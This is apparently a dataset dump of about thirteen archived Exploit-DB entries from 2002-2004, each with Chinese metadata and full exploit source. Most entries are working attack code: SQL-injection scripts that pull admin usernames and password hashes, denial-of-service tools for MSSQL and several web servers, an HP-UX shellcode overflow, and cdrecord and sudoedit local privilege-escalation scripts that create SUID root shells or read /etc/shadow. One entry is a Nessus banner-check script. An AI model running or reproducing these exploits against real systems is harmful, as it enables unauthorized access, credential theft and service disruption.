QLWD/code_shield huggingface dataset:
标题: WordPress Core 1.2 - HTTP Splitting EDB-ID: 570 CVE: 2004-1584 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-10 漏洞利用脚本: #
# This script is (C) Tenable Network Security
#
#




if(description)
{
script_id(15443);
script_bugtraq_id(11348);
script_version ("$Revision: 1.1 $");

name["english"] = "WordPress HTTP Splitting Vulnerability";

script_name(english:name["english"]);

desc["english"] = "
The remote host is running WordPress BLOG, a web blog manager written
in PHP.

The remote version of this software is vulnerable to an HTTP-splitting attack 
wherein an attacker can insert CR LF characters and then entice an unsuspecting
user into accessing the URL. The client will parse and possibly act on the 
secondary header which was supplied by the attacker.

Solution : Upgrade to the latest version of this software
Risk factor : Medium";




script_description(english:desc["english"]);

summary["english"] = "Checks for the presence of WordPress";

script_summary(english:summary["english"]);

script_category(ACT_ATTACK);


script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security",
francais:"Ce script est Copyright (C) 2004 Tenable Network Security");
family["english"] = "CGI abuses";
family["francais"] = "Abus de CGI";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
exit(0);
}

#
# The script code starts here
#


include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);



# The actual attack requires credentials -> do a banner check
function check(loc)
{
res = http_keepalive_send_recv(port:port, data:http_get(item:loc + "/index.php", port:port));
if ( res == NULL ) exit(0);
res = str_replace(find:'\n', replace:'', string:res);
res = str_replace(find:'\r', replace:'', string:res);

if ( "WordPress" >< res && egrep(pattern:'<meta name="generator" content="WordPress (0\\.|1\\.([01]|2"))', string:res)) { security_warning(port); exit(0); }
}




foreach dir ( cgi_dirs() )
{
check(loc:dir);
}


# milw0rm.com [2004-10-10] URL: https://www.exploit-db.com/exploits/570
标题: S9Y Serendipity 0.7-beta1 - SQL Injection EDB-ID: 561 CVE: 2004-2158 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-28 漏洞利用脚本: Proof of Concept 1
------------------


Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog


ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh


echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------




Proof of Concept 2
------------------


Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.

http://URL_to_Serendipity_Weblog/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*

# milw0rm.com [2004-09-28] URL: https://www.exploit-db.com/exploits/561
标题: MyServer 0.7.1 - 'POST' Denial of Service EDB-ID: 551 CVE: 2004-2517 类型: DOS 平台: LINUX 发布日期: 2004-09-27 漏洞利用脚本: /****************************/ 
PoC to crash the server 
/****************************/ 

/* MyServer 0.7.1 POST Denial Of Service 
vendor URL: 
http://www.myserverproject.net 

coded and discovered by: 
badpack3t 
for .:sp research labs:. 
www.security-protocols.com 
9.20.2004 
Tested on Mandrake 10.0 

usage: 
sp-myserv-0.7.1 [targetport] (default is 80) 
*/ 

#include <'winsock2.h> 
#include <'stdio.h> 

#pragma comment(lib, "ws2_32.lib") 

char exploit[] = 

"POST index.html?View=Logon HTTP/1.1 " 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
": ihack.ms "; 

int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *target; 
int port,bufsize; 
SOCKET mysocket; 

if (argc < 2) 
{ 
printf("MyServer 0.7.1 POST DoS by badpack3t ", argv[0]); 
printf("Usage: %s [targetport] (default is 80) ", argv[0]); 
printf("www.security-protocols.com ", argv[0]); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

target = argv[1]; 
port = 80; 

if (argc >= 3) port = atoi(argv[2]); 
bufsize = 1024; 
if (argc >= 4) bufsize = atoi(argv[3]); 

mysocket = socket(AF_INET, SOCK_STREAM, 0); 
if(mysocket==INVALID_SOCKET) 
{ 
printf("Socket error! "); 
exit(1); 
} 

printf("Resolving Hostnames... "); 
if ((pTarget = gethostbyname(target)) == NULL) 
{ 
printf("Resolve of %s failed ", argv[1]); 
exit(1); 
} 

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("Connecting... "); 
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("Couldn't connect to host. "); 
exit(1); 
} 

printf("Connected!... "); 
printf("Sending Payload... "); 
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1) 
{ 
printf("Error Sending the Exploit Payload "); 
closesocket(mysocket); 
exit(1); 
} 

printf("Payload has been sent! Check if the webserver is dead! "); 
closesocket(mysocket); 
WSACleanup(); 
return 0; 
}

// milw0rm.com [2004-09-27] URL: https://www.exploit-db.com/exploits/551
标题: Silent Storm Portal - Multiple Vulnerabilities EDB-ID: 565 CVE: 2004-1567 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-30 漏洞利用脚本: Demonstration:

Register a user account then login and run the exploit.html

---exploit.html----
<form method="post" action="http://www.victim.com/index.php?module=../../profile">
<input type="text" name="mail" value="any mail com"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---

That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database file.
( 1: Administrator,2: is Normal User. )

# milw0rm.com [2004-09-30] URL: https://www.exploit-db.com/exploits/565
标题: MSSQL 7.0 - Remote Denial of Service EDB-ID: 562 CVE: 2004-1560 类型: DOS 平台: WINDOWS 发布日期: 2004-09-29 漏洞利用脚本: /* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);


void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);


if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos <ip> <port>\n");
exit(1);
}

WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}

{
send(s,buffer,sizeof(buffer),0);

printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}


u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1) {
if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}

// milw0rm.com [2004-09-29] URL: https://www.exploit-db.com/exploits/562
标题: HP-UX 11.0/11.11 - 'swxxx' Privilege Escalation EDB-ID: 482 CVE: 2001-0979 类型: LOCAL 平台: HP-UX 发布日期: 2002-12-11 漏洞利用脚本: /*
 Program : x_hpux_11i_sw.c
 Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
 Complie : cc x_hpux_11i_sw.c -o x_sw;./x_sw  ( not use gcc for some system)
 Usage   : ./x_sw [ off ]
 Tested  : HP-UX B11.11 & HP-UX B11.0
 Author  : watercloud [@] xfocus.org
 Date    : 2002-12-11
 Note    : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN  2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
 "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" 
 "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
 "/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
   int addr_off = 8208;
   long addr_e = 0;
   int  n=BUFF_LEN/4,i=0;
   long * ap = (long *) &buffer[BUFF_LEN];
   char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
   long * np = (long *) buffer;
   if(argc >0)
       addr_off += atoi(argv[1]);
   addr = ( (long) &addr_off +addr_off) /4 * 4  +4;
   for(i=0;i<n;np[i++]=NOP);
   memcpy(sp,shellcode,strlen(shellcode));
   for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
   buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
   sprintf(buffer_env,"LANG=AAA%s",buffer);
   putenv(buffer_env);
   execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
    /* if  false ,test swverify. */
   execl("/usr/sbin/swverify","swverify",NULL);
}

// milw0rm.com [2002-12-11] URL: https://www.exploit-db.com/exploits/482
标题: CDRecord's ReadCD - Local Privilege Escalation EDB-ID: 469 CVE: 2004-0806 类型: LOCAL 平台: LINUX 发布日期: 2004-09-19 漏洞利用脚本: #!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
chown("/tmp/ss", 0, 0);
chmod("/tmp/ss", 04755);

return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
setuid(0);setgid(0);
execl("/bin/bash","bash",(char *)0);

return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss


// milw0rm.com [2004-09-19] URL: https://www.exploit-db.com/exploits/469
标题: Emulive Server4 Build 7560 - Remote Denial of Service EDB-ID: 471 CVE: 2004-1696 类型: DOS 平台: WINDOWS 发布日期: 2004-09-21 漏洞利用脚本: #!/usr/bin/perl
##############################################
# EmuLive Server4 Commerce Edition Build 7560 
##############################################
# Remote crash proof of conecpt code. When the 
# machine running Server4 recieves a malformed
# request on TCP port 66 it crashes very hard!
##############################################
# GulfTech Security   http://www.gulftech.org
##############################################

use IO::Socket;

unless ($ARGV[0]) 
{ 
 die "usage: s4nomore.pl host port"
}

 printf("==========================================================\n",);
 printf(" EmuLive Server4 Commerce Edition Build 7560 Remote Crash \n",);
 printf("==========================================================\n",);


 my $host = $ARGV[0];
 my $port = $ARGV[1];


 my $dead = "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
      "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
      "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
      "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A"; #\r\n\r\n\r\n\r\n


 my $i = IO::Socket::INET->new( Proto => "tcp",
              PeerAddr  => $host,
           PeerPort  => $port,
              Timeout   => '100',
              Type      => SOCK_STREAM,
             ) || die("Connect Error");

  printf("[*] Sending Death Packet To %s\n", $host);
  print $i $dead; 
  $i->autoflush(1);
  printf("[*] Host %s Should Now Be Dead\n", $host);
  printf("[*] Closing Connections And Exiting  \n");
  close $i;
  exit;

# milw0rm.com [2004-09-21] URL: https://www.exploit-db.com/exploits/471
标题: PHP-Nuke - SQL Injection Edit/Save Messages EDB-ID: 465 CVE: 2004-1932 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-16 漏洞利用脚本: #!/usr/bin/perl
#

use LWP; 

$log = "pos_komen_phpnuke_savemsg.txt"; 
$Agent = "Mbahmubangga/1.0";
$proxy = "http://172.9.1.11:80/"; # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);

$url = 'http://www.sitewithphpnuke.com/admin.php';

$browser->proxy(http => $proxy) if defined($proxy);

printlog ("\nProcessing: $url\n");

for ($a = 1; $a < 11 ; $a++) {

$mid=$a;

$loginpost = $url;
$loginrequest = HTTP::Request->new(POST => $loginpost);
$loginrequest->content_type('application/x-www-form-urlencoded');
$loginsend = 
'title=<h1>JUST TESTING</h1>'.
'&content=you can put HTML format here, all up to you now, 1 liner of course,
or multiple liner with dot'.
'&mlanguage='. #message language
'&expire=0'. #unlimited
'&active=1'. #yes
'&chng_date=0'.
'&view=1'. #all visitors
'&mdate='.
'&mid='.$mid. #the message id, commonly has value under 11
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. #our magic ammo ==> x'%20UNION%20SELECT%201/*:1
'&add_radminsuper=1'. #the super user / G O D
'&op=savemsg'; #operation
$loginrequest->content-length($loginsend);
$loginrequest->content($loginsend);
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;
#print ($logincek);


if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){
printlog ("$mid attempting edit and saving message sending OK ".$loginresponse-
>status_line ."\n") ;
}
else {
printlog ("Could be failure ".$loginresponse->status_line ."\n");
last;
}

} #end of for

sub printlog {
print @_[0]; 
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}

# milw0rm.com [2004-09-16] URL: https://www.exploit-db.com/exploits/465
标题: SudoEdit 1.6.8 - Local Change Permission EDB-ID: 470 CVE: 2004-1689 类型: LOCAL 平台: LINUX 发布日期: 2004-09-21 漏洞利用脚本: /*

       Copyright © Rosiello Security 2004
            http://www.rosiello.org

                 sudoedit Exploit


SOFTWARE : sudoedit 
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004

Summary:
A flaw in exists in sudo's -u option (aka sudoedit) 
in sudo version 1.6.8 that can give an attacker 
read permission to a file that would otherwise be 
unreadable.

Sudo versions affected:
1.6.8 only

Credit: 
Reznic Valery discovered the problem. 

-----------------------------------------------------------

All the information that you can find in this software  
were published for educational and didactic purpose only.
The author published this program under the condition 
that is not in the intention of the reader to use them 
in order to bring to himself or others a profit or to bring 
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo rosiello org

*/

#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>


int main( int argc, char *argv[] )
{    
    char PATH[]="/usr/tmp";
    char file[32];
       DIR *tmp;
       struct dirent *de;
       tmp = opendir ( PATH );
    int found = 0;
    
    printf( "Copyright Â© Rosiello Security 2004\n" );
    printf( "http://www.rosiello.org\n" );

    if( argc!=2 )
    {
        printf( "USAGE: %s file\n", argv[0] );
        return( 0 );
    }


    while ( (de = readdir ( tmp ))!= NULL )
    {
        if ( (strstr(de->d_name, "rosiello") != NULL) )
           {
            if( strlen(de->d_name) > 24 ) return( 0 ); 
            sprintf( file, "%s/%s", PATH, (char *)de->d_name );
            remove( file );
            if( fork()!=0 )
            {
                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 
            }
            wait( );
            printf( "Now you can close sudoedit and reopen rosiello!\n" );
            found=1;
            goto end;
        
        }
        
       }
    end:
    closedir( tmp );
    
    if( !found ) 
        printf( "File Not Found!\n" );
    return( 0 );
    
}


// milw0rm.com [2004-09-21] URL: https://www.exploit-db.com/exploits/470
标题: Pigeon Server 3.02.0143 - Denial of Service EDB-ID: 468 CVE: 2004-1688 类型: DOS 平台: WINDOWS 发布日期: 2004-09-19 漏洞利用脚本: /*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif

#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u_short port = PORT;
u_char *buff;

setbuf(stdout, NULL);

fputs("\n"
"Pigeon server <= 3.02.0143 freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("\n- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';

fputs("- send malformed data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();

close(sd);
fputs("- the server should be freezed, check it manually\n\n", stdout);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

// milw0rm.com [2004-09-19] URL: https://www.exploit-db.com/exploits/468
标题: CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation EDB-ID: 438 CVE: 2004-0806 类型: LOCAL 平台: LINUX 发布日期: 2004-09-11 漏洞利用脚本: #!/bin/bash

#
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
# Exploits cdrecord's exec() of $RSH before dropping privs 
#

cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

main( int argc, char *argv[] ) {
int fd1, fd2;
int count;
char buffer[1];

/* Set ID's */
setuid( geteuid() );
setgid( geteuid() );

/* Copy the shell */
if ((fd1=open( "/bin/bash", O_RDONLY))<0)
return -1;
if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
return -1;
while((count=read(fd1, buffer, 1)))
write(fd2, buffer, count);
free(buffer);
close( fd1 );
close( fd2 );

/* Priv the shell */
chown( "./bash", geteuid(), geteuid() );
chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
./bash -p 

// milw0rm.com [2004-09-11] URL: https://www.exploit-db.com/exploits/438
标题: Easy File Sharing Web Server 1.25 - Denial of Service EDB-ID: 423 CVE: 2004-1744 类型: DOS 平台: WINDOWS 发布日期: 2004-08-27 漏洞利用脚本: ##################################################### 
# Easy File Sharing Webserver v1.25 Denial Of Service 
# Proof Of Concept Code By GulfTech Security Research 
##################################################### 
# Easy File Sharing Webserver v1.25 will consume 99% 
# of CPU usage until it crashes when sent large req's 
##################################################### 

use IO::Socket; 

print "=====================================================n". 
      " Easy File Sharing Webserver v1.25 Denial Of Service n". 
  "=====================================================n"; 

unless (@ARGV > 1) { die("usage: efswsdos.pl host port"); } 

my $remote_host = $ARGV[0]; 
my $remote_port = $ARGV[1]; 
my $done = "15121512"; 
my $buff = "A" x 1000000; 
my $post = "POST /".$buff." HTTP/1.0 ".$done; 

print "
DoS'ing Server $remote_host Press ctrl+c to stopn"; 

while ($post) { 
for (my $i=1; $i<10; $i++) { 
my $i = IO::Socket::INET->new( Proto => "tcp", 
      PeerAddr   => $remote_host, 
  PeerPort   => $remote_port, 
      Timeout   => '10000', 
      Type       => SOCK_STREAM, 
      ) || die("
Server Is Dead!"); 

print $i $post; 
$i->autoflush(1); 
  } 
} 
close $i; 

# milw0rm.com [2004-08-27] URL: https://www.exploit-db.com/exploits/423